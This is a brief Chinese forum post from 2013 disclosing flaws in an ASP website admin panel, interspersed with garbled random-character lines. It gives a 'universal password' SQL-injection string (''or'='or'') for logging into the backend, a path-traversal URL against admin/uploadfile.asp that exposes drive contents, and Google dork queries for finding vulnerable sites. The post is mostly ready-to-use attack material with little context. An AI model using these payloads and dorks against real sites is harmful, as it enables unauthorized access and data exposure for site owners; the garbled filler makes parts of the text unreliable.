后台万能密码 'or'='or'
4 `5 K) U( N m- f/ S5 h. z) A7 R: d2 d
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
- [6 {( ~* _& P$ t! J% Fadmin/uploadfile.asp?currentFolder=/upfiles/../% x6 J5 H. u% ?: J" _* d5 E
! x$ h% C4 {% m# v漏洞证明：/ o' t- P: O) L0 I6 @: @0 n! L
3 A2 T1 d* Z1 G7 A, d1 _
谷歌：inurl:type.asp?id=1 新闻中心
+ y* O+ A2 d( }2 Z# L$ X或者 ：inurl:download_ok.asp?( g0 c7 g. [. k2 z* P# ^" J7 x
0 N( ~1 Q" ~) }" b5 N2 N& c5 z$ U8 L) K4 Y |
发表于 2013-3-14 20:17:32
收藏
支持
反对